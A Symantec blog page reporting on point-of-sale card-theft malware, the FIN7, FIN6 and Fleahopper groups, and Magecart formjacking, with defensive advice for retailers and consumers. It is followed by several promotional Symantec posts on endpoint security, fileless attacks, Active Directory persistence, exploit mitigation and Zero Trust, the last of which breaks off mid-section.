According to recent research from Symantec’s Deepsight Managed Adversary and Threat Intelligence (MATI) team (published in the MATI report How Cyber Criminals Monetize Unauthorized PoS System Access And Stolen Card Data - 01 Nov 2018), on dark net marketplaces threat actors are advertising access to PoS systems at prices ranging from $12 for administrative access to one PoS machine, to $60,000 for access to a large corporate network containing thousands of PoS servers and terminals. Meanwhile, depending on its quality, payment card data on the dark web retails for between $1 and $175 per card.
The techniques used by PoS scammers remain straightforward and have not evolved greatly in the last number of years, with scammers still using “RAM-scraping” malware to steal payment card details.
This RAM-scraping malware works because of how data generally travels around retailers’ systems.
Retailers generally use network-level encryption within their internal networks to protect data as it travels from one system to another.
However, payment card numbers are not always encrypted in the systems themselves and can still be found within the memory of the PoS system and other computer systems responsible for processing or passing on the data.
This weakness allows attackers to use RAM-scraping malware to extract this data from memory while the data is being processed inside the terminal rather than when the data is travelling through the network.
PoS cyber crime groups
Two high-profile actors in the PoS malware space are FIN7 and FIN6. FIN7 is a well-known group that is reported to have stolen more than $1 billion from companies around the world. FIN7 uses sophisticated spear-phishing emails to convince targets to download an attachment that then infects their company network with malware. The malware used by FIN7 is most commonly a tailored version of the Carbanak malware, which has been used in multiple attacks on banks. Companies compromised by FIN7 include well-known brands like Chipotle, Chilli’s, and Arby’s, with the group thought to have compromised thousands of business locations and to have stolen millions of credit card numbers.
FIN6 was first spotted in 2016 when it used the Grabnew backdoor and the FrameworkPOS malware to steal the details of more than 10 million credit cards. The group was also active in 2018, and was seen exploiting living off the land tools such as Windows Management Instrumentation Command (WMIC) and the Metasploit framework to execute PowerShell commands.
Both groups are believed to have made many millions of dollars selling the card details they steal on dark web marketplaces—with the Joker’s Stash marketplace appearing to be where most of these transactions take place.
However, a few factors have emerged in recent times that may impact the environment around PoS attacks, and the activity of these groups:
Three members of FIN7 arrested: In August this year, the U.S. Department of Justice issued indictments against three Ukrainian nationals it alleged were members of FIN7: Dmytro Fedorov, Fedir Hladyr, and Andrii Kopakov. The three men reportedly had high-profile roles in FIN7: Hladyr as its systems administrator, and Fedorov and Kopakov as supervisors to groups of hackers. While FIN7 activity has continued to operate since these arrests, they could have an impact on the group’s activity going forward.
Increased adoption of chip and chip-and-PIN: The increased adoption of chip in the U.S., and chip-and-PIN technologies globally, by payment card issuers has reduced the availability of “usable” payment card information in the criminal marketplace. If a threat actor compromises a PoS system that processes 50 percent cards that use chip-and-PIN then only 50 percent of the cards are usable, or saleable, for them. As chip-and-PIN technology becomes more commonplace around the world and reduces the number of PoS systems capable of producing card data that actors can monetize, Symantec’s MATI experts believe the price of unauthorized PoS access will decline, while usable stolen payment card information will increase in value due to its scarcity.
"Ahead of #shopping season, you better watch out, as online and offline threats endanger payment card data: https://symc.ly/2PD5jrT"
CLICK TO TWEET
PoS attacks in 2018
One new actor we have seen engaged in malicious activity on PoS machines in 2018 is a group we have dubbed Fleahopper. Fleahopper has been active since at least July 2017. It is a financially motivated group that appears to be monetizing its victims by stealing information from infected machines running PoS software.
In the latter half of 2018, Fleahopper has been observed using the Necurs botnet to infect victims. It does this in two ways: through Necurs bots and through spam email, likely originating from the Necurs botnet. Symantec has observed Fleahopper delivering malware directly through Necurs bots, where the bots drop malware from Fleahopper onto machines already infected by Necurs. Machines that are not infected with Necurs may still be infected by Fleahopper through spam that comes from the Necurs botnet.
Spam emails that deliver malware from Fleahopper have been observed with malicious Microsoft .pub files attached. These .pub files download an installer for the malware used by Fleahopper, Trojan.FlawedAmmyy.
The Trojan.FlawedAmmyy RAT is a modified version of the publicly available remote access tool Ammyy Admin (Remacc.Ammyy). Although Trojan.FlawedAmmyy is not believed to be exclusive to Fleahopper, the group has been observed using Trojan.FlawedAmmyy to deliver its tools.
Once they've compromised an organization, Fleahopper has been observed dropping a number of files onto machines running POS software. Fleahopper installs a modified legitimate Remote Desktop Protocol (RDP) file onto infected machines running POS software. This gives Fleahopper remote desktop access to the infected machine that is separate from access through malware. Symantec has observed Fleahopper using this access.
Symantec has observed Fleahopper activity on machines in grocery stores, furniture stores, restaurants and a store selling men’s clothing. The group’s activity appears to be spread around the globe, with some activity seen targeting businesses based in the U.S. and the U.K.
Some of the other PoS malware that has been seen used by various groups in the wild in 2018 includes: RtPOS, Prilex, LusyPOS, LockPOS, GratefulPOS, and FindPOS.
Publicly reported attacks
There have been several publicly reported attacks on PoS systems in 2018:
RMH Franchise Holdings, an Applebee’s franchisee
Canadian restaurant chain Tim Horton’s
U.S. restaurant chain Chili’s
Saks Fifth Avenue, Saks Off 5th, and Lord & Taylor (these stores have the same parent organization: Hudson's Bay Company)
The compromise of Hudson’s Bay Company’s stores and Chili’s has been linked to FIN7. While these were significant compromises—the details of at least 5 million cards were compromised when the Hudson’s Bay Company stores were targeted—there have been no reports so far of PoS attacks this year affecting tens of millions of consumers.
This relative drop in activity in the PoS space compared to previous years could be down to the reasons mentioned above—the increased adoption of chip-and-PIN globally and upset in the FIN7 group. However, it may also indicate that attackers are looking at other ways to make money and get their hands on payment card details—for example, by turning to formjacking.
Formjacking
We first published research on formjacking at the end of September 2018, after a spate of high-profile attacks by the Magecart attack group. Among Magecart’s targets were Ticketmaster UK, British Airways, Feedify, and Newegg. One of its more recent targets was British electronics kit retailer Kitronik.
Formjacking is a term we use to describe the use of malicious JavaScript code to steal credit card details and other information from payment forms on the checkout web pages of e-commerce sites. It is not a new technique, but in the latter half of 2018, it has garnered a lot of attention due to some large campaigns, many of which have been carried out by Magecart. Recently released research has claimed that Magecart is not just one group—but rather approximately seven groups that are all engaged in similar activity.
When a customer of an e-commerce site clicks “submit” or its equivalent after entering their details into a website’s payment form, malicious JavaScript code that has been injected there by the cyber criminals collects all entered information, such as payment card details and the user’s name and address. This information is then sent to the attacker’s servers. Attackers can then use this information to perform payment card fraud or sell these details to other criminals on the dark web.
In a two-month period, from mid-September to mid-November, Symantec blocked almost 700,000 formjacking attempts—with a clear upward trend visible as we approach the holiday shopping season.
Figure 1. A clear upward trend is visible when we look at formjacking figures from September to November
Much as we reported in September, these formjacking attempts target a wide range of e-commerce websites, including a fashion retailer in Southeast Asia, and another in Australia, a U.S. website selling jewelry, and another U.S. store specializing in outdoor gear and equipment. Suppliers of equipment for dentists, and online stores selling gardening equipment, were also among those targeted. These formjacking attempts continue to target a wide range of stores—ranging from small to large retailers in various countries around the world.
We detailed in our previous research how, in some cases, Magecart was using supply chain attacks to gain access to its targeted websites and carry out these formjacking attacks. The Magecart attackers injected malicious JavaScript code into Ticketmaster’s website after they compromised a chatbot from tech firm Inbenta that was used for customer support on Ticketmaster websites, for example. Magecart was then able to alter the JavaScript code on Ticketmaster’s websites to capture payment card data from customers and send it to their servers.
Dutch security researcher Willem de Groot has discovered since then that Magecart is also exploiting unpatched vulnerabilities in 21 Magento extensions used by online stores to gain access to websites. Magento is an open-source e-commerce platform. Magecart is using a series of URL paths to probe Magento stores in the wild for the vulnerable extensions, and injecting its malicious code into vulnerable websites.
As we approach the holiday shopping season, it is likely that we will see a ramping up of activity from actors out to steal consumers’ payment card details—both online and in retail stores worldwide.
Best Practices for Retailers
Formjacking
Victims may not realize they are victims of formjacking as generally their websites continue to operate as normal, and attackers like Magecart are sophisticated and stealthy and take steps to avoid detection.
Website owners should be aware of the dangers of software supply chain attacks, as these have been used as the infection vector in some of these formjacking attacks. Software supply chain attacks can be difficult to guard against, but there are some steps that website owners can take:
Test new updates, even seemingly legitimate ones, in small test environments or sandboxes first, to detect any suspicious behavior.
Behavior monitoring of all activity on a system can also help identify any unwanted patterns and allow you to block a suspicious application before any damage can be done.
Producers of software packages should ensure that they are able to detect unwanted changes in the software update process and on their website.
Website owners can also use content security policies with Subresource Integrity tags (SRI) to lock down any integrated third-party script.
Point of Sale
Install and maintain a firewall to facilitate network segmentation.
Change default system passwords and other security parameters.
Encrypt transmission of cardholder data across open, public networks.
Use and regularly update security software.
Use strong authentication including two-factor authentication for remote systems.
Test security systems, perform penetration testing, and implement a vulnerability management program.
Maintain security policies and implement regular training for all personnel.
Implement chip-and-PIN technology in your business.
Implement system integrity and monitoring software to leverage features such as system lockdown, application control, or whitelisting.
Best Practices for Consumers
Monitor your credit card bills so you will spot any suspicious transactions. You could even consider hiring the services of a credit monitoring company.
Only shop from well-known, secure websites and stores that are more likely to have good security measures in place. However, even well-known stores fall victim to cyber criminals, so while this may reduce your risk of exposure it doesn’t eliminate it.
Threat Intelligence
Customers of the Deepsight Managed Adversary and Threat Intelligence routinely get intelligence about threats posed by cyber criminals, including details of PoS threats. These intelligence reports provide IOCs and detail adversary TTPs so that customers can better defend their environment from emerging threats.
Further Reading
Formjacking: Major Increase in Attacks on Online Retailers
Attacks on Point-of-Sale Systems
Symantec Enterprise Blogs
YOU MIGHT ALSO ENJOY
6 MIN READ
Formjacking: Major Increase in Attacks on Online Retailers
Symantec has blocked almost a quarter of a million instances of attempted formjacking since mid-August.
|
You Can Solve it with Symantec Endpoint Security
In an ever-changing world, it’s good to know you can have the best
The COVID pandemic has turned workplace norms inside out. Last year, almost 70 percent of full-time workers telecommuted. They liked it so much that three quarters of them want to keep it that way. While the move could save billions in office rent, it presents a spectacular security challenge.
Teleworkers access corporate networks from a multitude of personal computers, smartphones and tablets that are often shared. Many depend on cloud and server architectures that are vulnerable. There are also more applications introduced to the workplace than ever before. The result is a huge expansion of the attack surface which makes security all the more important.
That’s why you need the best protection: Symantec
Symantec, as a division of Broadcom, has industry-leading endpoint solutions to secure laptops, desktops, iOS phone and tablets, Android phones and tablets, servers, storage, human-machine interface and operational technology, cloud workloads, containers, and cloud storage.
You don’t need to take our word for it
Symantec’s latest protection and detection innovations delivered clear results in the 2020 ATT&CK Evaluations, performed by MITRE Engenuity. The assessment subjected the security offerings of 29 different vendors to 174 detection tests and 10 prevention tests. Symantec scored 100% in all prevention tests and 91% in all detection tests. Not only are we a clear leader in protection, but also in combined protection and detection among our top competitors.
As MITRE's assessment showed, Symantec’s Endpoint Security solution provides robust threat blocking capability where other products, such as CrowdStrike, are just not able to perform.
Symantec security solution performance against the tactics and techniques of the Carbanak and FIN7 threats
Symantec Endpoint Security Complete deploys a range of technologies that deliver proactive attack surface reduction and innovative attack prevention providing the strongest defense against the hardest-to-detect threats, particularly those that rely on stealthy malware, credential theft, file-less, and “living off the land” attack methods. Among these powerful technologies are:
Advanced Machine Learning and Artificial Intelligence – which uses advanced device and cloud-based detection schemes to identify and connect the dots between evolving threats across device types, operating systems, and applications. Attacks are blocked in real-time, so endpoints maintain integrity and negative impacts are avoided.
Advanced Exploit Prevention – which combines sandboxing and file behavioral monitoring with technique-based blocking of in-memory zero-day exploits of vulnerabilities in popular software.
Adaptive Protection – which surgically limits behaviors of trusted applications with minimal operational impact but maximum protection from the dual-use techniques attackers rely on.
Symantec security solution performance against the tactics and techniques of the Carbanak and FIN7 threats
Attacks on the rise: Symantec protects you against them all
Ransomware attacks are on a meteoric rise. The latest big incident may have affected between 800 and 1,500 companies around the world. The assault began with a supply-chain attack against Kaseya, an IT management software provider that caters to enterprise IT teams and managed software providers. The attackers were reported to be the REvil Russia-linked hacking group responsible for other recent high-profile attacks such as the one targeting the meat processor JBS. REvil has gone dark in the last month, but most expect the criminal outfit will be back soon.
New trends are showing that ransomware gangs will often take the time to steal data and delete backups before they encrypt victim’s devices, providing a stronger incentive to pay up to ensure restoration.
Supply chain attacks are particularly pernicious and expected to quadruple this year. Here an attacker breaks into a software vendor and modifies the product. The company then ships the infected code to its customers. The most recent SolarWinds Orion attack was a trojan that modified a SolarWinds’ Dynamic Link Library file which was then distributed to the company’s 18,000 customers. That included 40 federal agencies and nearly all Fortune 500 companies. The exploit opened them all to sustained intrusion, espionage and embarrassment.
Living off the land attacks use common applications that are on the endpoint already – many are built into the operating system, and most are ones that companies already employ in their day-to-day business operations. Attackers can lurk in those applications and it can be nearly impossible to identify anything as suspicious since it looks like normal activity.
Protect yourself: choose Symantec Endpoint Security
The slew of high profile breaches over the last 6 months demonstrate that enterprises need to step up their security posture. Advanced technologies are required to thwart advanced threats. Luckily, you don’t need to purchase a plethora of solutions for full protection. All of Symantec’s advanced protection and detection technologies are available with Symantec Endpoint Security.
If you’re a Symantec Endpoint customer working on-premise, in the cloud, or if you’re in transition, you’ll continue using the same agent. And new customers get a choice of deployment options right out of the box. With Symantec Endpoint Security, you get a robust solution, and you get a simple path to deploying it in your environment, too. When you choose Symantec Endpoint Security, you’re choosing the best!
Symantec Endpoint Security
|
You Don’t Need to Become “Collateral Damage”
Nation-states with weaponized code and a penchant for causing cyber mischief abound. Here’s how to reduce your organization’s potential vulnerability when they go searching for targets
Experts in and out of government generally agree that it’s an act of cyber war when a nation-state (or a sponsored group) digitally attacks another nation-state’s infrastructure with the intent of damaging, disrupting, or destroying its operations and equipment, let alone inflict harm on its people.
In 2007, in what is considered the first known cyber war strike, Estonia suffered a widespread DDoS attack on its web, email, and DNS servers. Part of the Ukrainian power grid was taken down in 2015 and many NATO countries – including the US – have suffered cyber attacks in which their power grids have been infected, but not taken down. Yet.
Though in many ways an extension of traditional warfare, cyber warfare has some big differences. Cyber attacks can be launched without warning or buildup, from anywhere, and can strike widely and simultaneously. And cyber warfare imposes few barriers to entry, and relatively little risk.
“Engaging in cyber warfare doesn’t require as many people or skills, or as much capital, as building a world-class Air Force or Navy,” said Petros Efstathopoulos, Senior Technical Director at Symantec Research Labs. “And because you can more easily cover your tracks following a cyber attack than a ground force invasion, nation-states may think they won’t be targeted for an overt counterstrike. Which could embolden them to act.”
Some industries may appear as more likely targets, but you really never know what makes for an attractive, or soft, target. No web-connected entity anywhere in the world is immune. So, what can you do about it?
Armor Up!
If you implement an integrated cyber defense that’s much better than the average security for your industry, there is a chance attackers will simply choose an easier target.
“So, one hopes, when the cyber attackers come, they aren’t coming after you,” says Efstathopoulos. “This of course requires excellent security hygiene—not merely compliance, but an embrace of cyber security best practices.”
From Symantec’s perspective, that means a complete integrated cyber defense providing advanced threat protection (containment, investigation, and remediation) and information protection (assets kept safe, in compliance, and available only to authorized users) on a platform that unifies cloud and on-premises security.
That’s the ideal. But small or budget-strapped companies can start with whatever they can afford and proceed incrementally—say, by implementing endpoint security while leaving their legacy systems in place. Obviously, Symantec customers using our integrated endpoint, network, mail, and cloud security are off to an even better start.
In cyber war, however, organizations need to look beyond their own protection.
Strengthening Mutual Defense
Virtually every company is a link in a chain, part of a really complex, fragile ecosystem. And no matter how tightly you lock down your organization, it’s subject to multiple dependencies.
Some dependencies are obvious, such as a power grid kept humming by the coordination between separate power generation, transmission, and distribution companies. But many dependencies are hidden, like the little-known DNS service provider whose outage in 2016 took dozens of other services offline—from Amazon, Box, and CNN to Wired, Xbox, Yelp, and Zillow.
“Yes, you want to armor up,” said Efstathopoulos. “But it’s also in your best interest to collaborate with the rest of your ecosystem. You want everyone you’re depending on—physically and digitally—to take their cyber security seriously.”
The most common model for putting this into practice: Information Sharing Analysis Centers (ISACs).
Not familiar with ISACs? They’re (typically nonprofit) organizations created by ‘critical infrastructure’ owners and operators to collect and analyze threat information, and to share actionable information and best practices about physical and cyber threats and mitigation with their industry members. Per the National Council of ISACs’ website, most ISACs have 24/7 threat warning and incident reporting capabilities and “many ISACs have a track record of responding to and sharing actionable and relevant information more quickly than government partners.”
There are ISACs for most slices of infrastructure including Automotive, Aviation, Communications, Defense, Energy, Financial Services, Healthcare, and IT. Although all ISACs have similar missions, no two are exactly alike. Most are virtual organizations. Many meet quarterly. All exchange lots of information.
Another Way of 'Working Together'
Whether or not you belong to an ISAC, there’s another way you can benefit from the collection and analysis of threat intelligence.
The Symantec Global Intelligence Network (GIN) is the world’s largest civilian intelligence network, applying artificial intelligence to nine trillion lines of telemetry drawn from 175 million endpoints in thousands of companies. Symantec also employs 1,000-plus cyber warriors to add expert human insights every step of the way.
What does this mean to your security?
Because the GIN powers all Symantec products, it gives all Symantec customers unparalleled protection. In other words, every time the Symantec GIN detects and helps prevent or mitigate a cyber attack of any kind, every Symantec product puts that intelligence to work. So every Symantec customer comes out ahead, both immediately and when facing future threats.
“Our GIN lets us predict, detect, identify, and defend against threats, which then benefits even our smallest customers, no matter where they are,” says Efstathopoulos. “It’s as if all our customers are banded together for their common defense.”
Private-Public Partnership
Even if your organization employs an integrated cyber defense platform and security best practices, and even if your organization is a model of collaboration, you might still find yourself in a nation-state’s digital crosshairs. In that scenario, you have to recognize that your organization cannot long withstand a sustained cyber war campaign by a nation-state. No commercial company can.
“If you think you are up against such an attacker, you can’t win by standing alone,” said Efstathopoulos. “Companies can't sanction foreign countries. Or arrest people. Or threaten military retaliation. Only governments can do that.”
So make sure your cyber security partner knows when, where, and how to involve which government agencies—both to maximize the effectiveness of your security response, and to minimize the disruption to your business.
Checklist: Rules of the Road
No matter your size, choose your security partner very carefully. Cyber war is real, ongoing, and dangerous - and you certainly don’t want to be a casualty.
If you're up against something way bigger than you, try and find a partner who is also way bigger than you. If your core business isn’t cyber security, make sure your partner’s is. Choose a partner that has been protecting companies on the cyber war battle lines for years.
Remember you're in an ecosystem, dependent on suppliers and partners, both physical and digital. There are many ways cyber warfare can harm you without your being attacked directly.
And get involved in your industry’s ISAC, or find other ways to collaborate. Symantec is here to educate, collaborate, and protect.
If you found this information useful, you may also enjoy:
National Council of ISACs
Taking Stock of the Changing Threat Landscape, Circa 2018
|
Your Next Big Security Worry: Fileless Attacks
Increasing numbers of security incidents now feature fileless attacks, a trend likely to get more pronounced in 2018
In warfare, stealth is an attacker’s best friend. You can’t fight what you can’t see. Worse still, you have no defenses if you don’t even know you’re under attack.
That’s why cyber attackers have been shifting their tactics, using fileless attacks that don’t drop malware on a victim’s system in order to work, and so easily evade detection. They use tools already installed on computers or run simple scripts and shellcode in memory, for example, via Windows Power Shell. The malicious scripts are also frequently hidden in the Windows Registry and Windows Management Instrumentation (WMI).
This so-called “living off the land” approach makes use of capabilities built into operating systems to attack victims. Because the exploits run in memory rather than residing on a hard disk, they’re extremely difficult to detect using traditional anti-malware tools like virus signatures.
As a result, they’re becoming increasingly popular. The Symantec Internet Security Threat Report (ISTR) “Living off the Land and Fileless Attack Techniques” notes that Symantec has found embedded malicious scripts in the Windows Registries of approximately 5,000 computers per day, and that during the first seven months of 2017, had blocked around 4,000 attacks on endpoints per day by the fileless Trojan.Kotver trojan.
A study by the Ponemon Institute found that 29 percent of the attacks organizations faced during 2017 were fileless, up from 20 percent in 2016. That is expected to rise to 35 percent in 2018.
Security experts say fileless attacks allow hackers to remain concealed and make it more difficult for victims to remediate all of their machines, allowing attackers to stay alive in an environment longer.
Portrait of Fileless Attacks
One of the most well-known hacks was a fileless one, when documents were stolen from the Democratic National Committee (DNC) and released in an attempt to influence the 2016 presidential election. Phishing emails containing malicious links were sent to DNC staff. When the links were clicked, the fileless attack commenced using PowerShell and WMI.
“Phishing links and drive-by websites are frequently how fileless attacks are launched,” says Charles Gaughf, Security Lead with (ISC)², a cyber security non-profit organization.
A less well-known fileless attack hit more than 140 banks and financial institutions in over 40 countries early in 2017. It worked its way into systems via an unpatched server vulnerability. Once there, it used Powershell scripts and the Windows Registry to load malicious code directly into memory.
That code then used standard Windows utilities, including the command lines utilities NETSH and SC, to give attackers remote access to the infected systems. They used remote access to install memory-resident ATMitch malware on ATMs and used it to order ATMs to dispense cash, which they grabbed and absconded with. No files were stored on any systems, making it very difficult to detect.
Fileless Attack Families
Knowing your enemy is always a good thing. So, to help you protect yourself, here’s the rundown on the four broad types of fileless malware:
Memory-only threats These exploit vulnerabilities in Windows services to execute their payload directly in memory. They’re not new: As far back as 2001, the Code Red fileless worm infected more than 350,000 systems. Restarting a system infected by a memory-only threat disinfects it.
Fileless persistence methods In these attacks, even though the malicious payload isn’t loaded onto the hard disk, the infection remains even after the system is rebooted. It does this in a variety of ways, including storing malicious scripts in the Windows Registry, which kicks off the fileless infection after a reboot.
Dual-use tools These tools use existing Windows system tools and applications, but for nefarious purposes, for example, to gain credentials to target systems for malicious purposes, or send data back to attackers.
Non-Portable Executable (PE) file attacks This is a type of dual-use tool attack that involves both a script and a legitimate tool. These attacks frequently use PowerShell, WScript or CScript.
How To Protect Yourself
Fileless attacks typically can’t be detected by traditional anti-virus software. However, there are a couple of things organizations can do to protect themselves against them. First, identify where your sensitive data exists and monitor who is accessing it and for what purpose. Second, fileless attacks still start by exploiting a vulnerability or via social engineering. Therefore, make sure that systems are up to date and protected and that employees have the proper training to ward off social engineering.
(ISC)²’s Gaughf adds that companies should also focus on “threat intelligence and streaming prevention that looks at the behaviors of normal applications and processes as they execute and communicate with one another.”
That means that there is one piece of good news in all this: If organizations are vigilant, they can protect themselves against fileless threats that they typically can’t even see.
|
You’re Just 7 Minutes Away from an Infinite Toxic Loop in Your Network
Kicking an attacker out of your network is no longer enough to guarantee the safety of your data
Sometimes deliberate actions can lead to unforeseen consequences. Case in point: Active Directory.
In an Active Directory environment, the database is exposed, by design, to every endpoint connected to the domain. This is how Microsoft designed Active Directory to work. But what’s good for IT is not necessarily good for security. This arrangement provides attackers all the necessary information to elevate their privileges to domain admin within 7 minutes of compromising a domain connected endpoint.
Our industry is obsessively focused on keeping attackers out of the network, chasing after new methodologies to stop attackers from compromising the endpoint. But as an industry, we still lack understanding into what attackers are doing after they manage to compromise the endpoint. In no small part, that’s because we’re not asking the right questions. Such as why does just one compromised endpoint easily bring down an entire network? And why is no one asking how attackers can rapidly and stealthily spread inside a targeted network and gain access to every asset they want?
Let’s recall that in mid-2014 attackers created an open-source code, fully automated framework to manipulate Active Directory. Use of this framework subsequently spread because of its ability to hide so well within Active Directory that the only real way to get rid of attackers was to rebuild the affected Active Directory domains from scratch.
That ought to have been a wakeup call to raise more awareness around Active Directory and consider more carefully what attackers are after once they compromise the endpoint. What we should have realized is that even after an attacker gets detected in the network and is blocked, the enterprise remains in danger.
The Infinite Toxic Domain Loop
Once a domain admin account is compromised, attackers can access any asset in the domain and leverage this access to conquer the entire enterprise. Using domain admin privileges, the attacker gains access to all domain controllers, servers, application services, databases, file shares, endpoints and devices in the domain; and, all other trusted domains, all users’ personal information, and the credentials of every domain account. Very powerful, eh?
However, before attackers use stolen admin credentials, they also seek ways to hide them ensuring their reuse, even after getting detected and kicked from the domain. Preserving persistency in a domain environment is accomplished using sophisticated methods such as exploiting the misconfiguration of domain controllers and GPO, and dumping the entire hash database of the organization. It is a crucial part of the attack cycle, and attackers strive to complete this phase to preserve their “investment”.
Because of the enormous opportunity for attackers to generate persistency spots on Active Directory domains, it’s difficult for enterprise security teams to remove them after they have managed to gain domain admin privileges.
This leaves security teams in the unfortunate situation of what we call an “Infinite Toxic Domain Loop (or ITL).” This is a situation equivalent to stirred sugar in hot water. We know that separating and removing melted sugar from water is an arduous, if not impossible task. In a similar way, even after an attacker gets detected the only way to remove compromised privileged access, including persistency spots, is to either rebuild the entire Active Directory domain/forest or perform a comprehensive domain credentials clean-up process. So, what do these security processes entail?
An Active Directory re-build requires creating new domain controllers (DCs) for each domain, then re-joining every end user and object to the new domains - a very hard and expensive task that can take months to accomplish.
The comprehensive domain credentials clean-up option entails restricting all access to the domain controllers during the recovery phase, checking for malware on all domain controllers, resetting all user, domain controller and service account passwords in the domain, resetting the krbtgt account twice, executing complete DC replication, and re-approving connections to the DCs. By taking these steps, the attacker is unable to use their old compromised credentials now that the Kerberos tickets are invalid, and passwords and hashes have changed.
Unfortunately, it’s just very hard to limit Active Directory without causing problems for the network. An organization might try manual intervention to limit the exposure, but that’s not an effective way to resolve the issue. The only vendor in the world that provides real-time prevention to this problem is Symantec with Threat Defense for Active Directory, a solution targeting this specific problem.
“Kicking” the attacker out of the domain is not enough anymore. Once attackers elevate their privileges to Domain Admin, the enterprise security teams are left facing an Infinite Toxic domain Loop (ITL) that continues unless the organization undertakes the steps I’ve outlined. It’s up to enterprise security teams to focus on post-exploitation prevention and reducing any dark corners where attackers might try to hide.
|
Zero Days and Counting: Defending Against the Unknown
Symantec Adds Signatureless Exploit Prevention to its Single-Agent Endpoint Arsenal
Zero-day vulnerabilities inhabit a special, scary place in the cyber threat landscape. That's due in part to human fear of the unknown, but also because they flip the timeline of threat mitigation. For security leaders and software companies, the clock is ticking...
Symantec's annual security report shows the zero-day threat is growing, as the number of discovered vulnerabilities more than doubled in 2015 over the previous year, with a new one uncovered every week (on average). Attackers are drawn to popular applications used on a daily basis by millions of people around the world. Malicious code on rogue web sites can exploit vulnerabilities in popular Web browsers such as Internet Explorer, and phishing scams tucked away in seemingly friendly emails or embedded in Adobe Flash videos can wreak havoc in an enterprise within minutes.
It gets worse: Once discovered, these vulnerabilities are quickly promulgated within the hacker community and added to exploit toolkits. 2015 witnessed a discouraging uptick in use of the Angler Exploit Kit, a drive-by download that has spread ransomware, malvertising and even hacktivism. Zero-day exploits have also become quite lucrative, so much so that Symantec now characterizes the criminal hunt for zero days as professionalized.
Preemptive Protection: Stopping Vulnerabilities Without Signatures
Businesses today need more powerful, multi-layered endpoint protection that extends well beyond traditional signature-based antivirus. They need cutting-edge technology capable of securing all possible attack vectors.
Symantec Endpoint Protection 14 is answering that clarion call with the broadest suite of endpoint protection techniques – some traditional, some new and some improved. One of the newest features is Memory Exploit Mitigation, which we use to preemptively block exploit techniques regardless of whether they are known or unknown, foiling attackers' attempts to take advantage of zero-day vulnerabilities.
At the core, Memory Exploit Mitigation is designed to detect and mitigate against generic exploit attacks – without signatures. It works at the shellcode execution level to counter different exploitation techniques. It also hardens the targeted software applications, making it difficult for hackers to write exploits.
Memory Exploit Mitigation includes multiple mitigation techniques "out of the box" that don't need prior knowledge of an exploit to block it. It watches for a broad range of exploit behaviors and leverages Symantec's deep intelligence from millions of endpoints, billions of files and trillions of relationships. Most importantly, you don't need an additional endpoint agent to take advantage of new techniques.
In its initial release, Memory Exploit Mitigation includes three popular exploit mitigation techniques:
Java exploit protection: Java exploits allow hackers to infiltrate Java code for the purposes of surveillance, data theft, or backdoor access to larger computer systems. Symantec's Memory Exploit Mitigation completely blocks Java Applets that try to disable Java's Security Manager.
Heap spray mitigation: A heap spray attack occurs when the attacker tries to place its attack code onto a predetermined memory location. Attackers may have full control of the application once the injection is completed. Memory Exploit Mitigation reserves the commonly used memory locations to prevent an attacker from using them and disables access to locations in the memory.
Structured exception handling overwrite protection (SEHOP): Exception handling exploits compromise an application by overwriting the pointer of an exception handler with an attacker-controlled address. Memory Exploit Mitigation provides built-in SEHOP protection, beyond the limited degree of protection in Windows operating systems (which often have the protection disabled by default).
All the techniques have been tested and proven already on more than 40 million endpoints via Symantec's Norton line of products. This field testing has allowed us to tune the techniques for very low false positives and certify against relevant programs before bringing them to enterprise customers. We are currently working on additional techniques that will be introduced in 2017 – stay tuned for more.
Unlike competitors, our Memory Exploit Mitigation works within a single agent alongside other protections, and provides centralized policy management and reporting. It can also run without a network connection – protecting disconnected or occasionally connected endpoints – and provide reporting on failed exploit attempts in addition to blocked exploits.
How effective is it? Based on internal tests, Memory Exploit Mitigation alone was able to block more than 60 percent of the zero-day exploit attacks from the last five years, with no reliance on prior knowledge of the attacks. Additional attacks were neutralized by the other capabilities built into Symantec Endpoint Protection, providing a highly effective combined defense against unknown threats.
The threat landscape is always changing, and customers are demanding more from their endpoint products. We hear all the time from customers that they "want additional controls, not an additional agent." With Symantec Endpoint Protection 14, we're delivering just that – a variety of new and established techniques for prevention, detection and response from a single agent. As Forrester wrote it in its recent Wave report on endpoint security suites: "Almost every possible attack surface is covered when buyers utilize the full extent of this portfolio."
Check out our webinar on next-generation endpoint protection with Adrian Sanabria from 451 Research, and watch this space for weekly blog posts that drill deeper into key capabilities with insights from Symantec and third-par
|
Zero Trust and Assuming Breach: Reduce Risk First - Validate Later
Symantec knows there is only one way for enterprises to limit the damage of a data breach: assume they have one
This is the third article in a continuing series exploring the meaning and real-world impacts of the three tenets of the Zero Trust security model.
You don’t know what you don’t know. It’s a simple concept but one that enterprises ignore at their peril.
The recent Solar Winds hack is only the latest example. The attack, which began in September 2019, wasn’t discovered until December 2020, some fifteen months later. But this length of time is not in any way unusual. Indeed, the average length of time it takes to detect and contain a data breach is now 280 days.
The impact in the lag in breach detection is uncomfortably clear: the victim doesn’t know until months later that attackers are inside their walls, rampaging at will across the most valuable real estate of its data center.
At Symantec, a division of Broadcom, we know the fact that enterprises just don’t know whether a specific endpoint was breached is precisely why it’s so important to develop a security plan that starts with the assumption that a breach has occurred. And that’s where the Zero Trust security model plays such an important role.
Log Everything to Ensure Pervasive Privilege
The focal point of the Zero Trust model is that enterprise data needs to be protected at all costs. The third principle of Zero Trust: log everything, is the fail-safe, last line of defense for the enterprise. It ensures that secure access and enforcing least privilege, the first two pillars of Zero Trust, are constantly re-evaluated based on the analysis of the logged data, over and over again – even when the enterprise itself doesn’t know if any threat is taking place.
The third principle of Zero Trust is important in multiple ways to limit the damage of any potential breach.
Adopt least privilege. By granting and restricting access in only the least way possible, the enterprise is automatically reducing the scope of the damage that a breach can do. Logging every activity by any user or software program ensures that any deviation from the least privileged set of permissions can result in a timely alert that can significantly reduce the amount of time to detect a successful breach.
Automate response as much as possible. It’s no secret that with the threat landscape so pervasive, the enterprise security operations center (SOC) is overloaded. One survey estimates the average enterprise SOC receives upwards of 10,000 alerts per day. Adopting intelligent automation that sets policies that leverage a risk scoring approach across endpoints, identity, and devices in order to make access decisions to data in real-time provides the help the SOC needs to get ahead of the cat-and-mouse, cyber warfare game.
Record and validate everything. Only by logging everything can the enterprise accurately analyze the data and evaluate the risk. To assess the correct degree of risk or deviation from a baseline requires as much contextual information around the user or device activity as possible. The more information that can be collected, the better result the analytics system can provide and the better the odds a breach will be discovered and contained quicker and more efficiently.
Reduce Risk First
